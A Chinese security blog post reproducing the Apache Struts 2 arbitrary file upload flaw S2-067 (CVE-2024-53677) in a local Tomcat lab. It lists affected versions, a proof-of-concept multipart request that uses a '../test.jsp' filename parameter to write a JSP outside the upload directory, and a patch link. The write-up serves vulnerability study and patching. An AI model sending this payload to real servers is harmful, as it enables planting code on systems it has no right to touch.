Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)

admin 2025年2月26日08:55:38评论24 views字数 2106阅读7分1秒阅读模式

日期:2025年2月24日

作者:L-Noname

介绍:Apache Struts 2 任意文件上传漏洞(S2-067)。

0x00 前言

Apache Struts是美国阿帕奇(Apache)基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。

主要提供两个版本框架产品,Struts 1Struts 2

Apache Struts 2.0.0版本至6.4.0之前版本存在安全漏洞,该漏洞源于文件上传逻辑缺陷。

0x01 影响版本

2.0.0 ≤ Apache Struts 2 ≤ 2.3.37

2.5.0 ≤ Apache Struts 2 ≤ 2.5.33

6.0.0 ≤ Apache Struts 2 ≤ 6.3.0.2

0x02 环境搭建

首先配置一个Tomcat环境,下载地址为https://tomcat.apache.org/

Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
选择自己需要的版本进行下载。

Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
下载完成后配置环境变量。

CATALINA_HOME:E:tomcat(自己的安装目录)Path:%CATALINA_HOME%lib%CATALINA_HOME%libservlet-api.jar%CATALINA_HOME%libjsp-api.jar
配置完成后CMD使用startup.bat命令启动,如遇到乱码可以在conflogging.properties更改一下格式。

Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
更改完成后再启动一次出现如下即为成功。

Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
配置完成后下载IDEA,链接为

https://www.jetbrains.com/idea/download/?section=windows#section=windows

在【设置-构建-执行-部署-应用程序服务器】中添加Tomcat服务器。

Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
完成后打开S2-067源码配置端口8088成功。

Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
访问http://localhost:8088/untitled_war即为成功。

Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)

0x03 漏洞复现

利用下面的poc上传一个测试jsp

POST /untitled_war/uploads.action HTTP/1.1Host: localhost:8088User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------5666374811330086939490758528Content-Length: 523Origin: http://localhost:8088Connection: keep-aliveReferer: http://localhost:8088/untitled_war/Cookie: JSESSIONID=2442DEBB93D8F28DFEA08FAA6B997304Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Priority: u=0, i-----------------------------5666374811330086939490758528Content-Disposition: form-data; name="Upload"; filename="test.txt"Content-Type: application/octet-stream<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><body>    <p>test</p></body></html>-----------------------------5666374811330086939490758528Content-Disposition: form-data; name="uploadFileName[0]";../test.jsp-----------------------------5666374811330086939490758528--
Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)

0x04 修复意见

官方已更新补丁:https://struts.apache.org/core-developers/file-upload

 

 

原文始发于微信公众号(宸极实验室):『漏洞复现』Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月26日08:55:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)https://cn-sec.com/archives/3773748.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息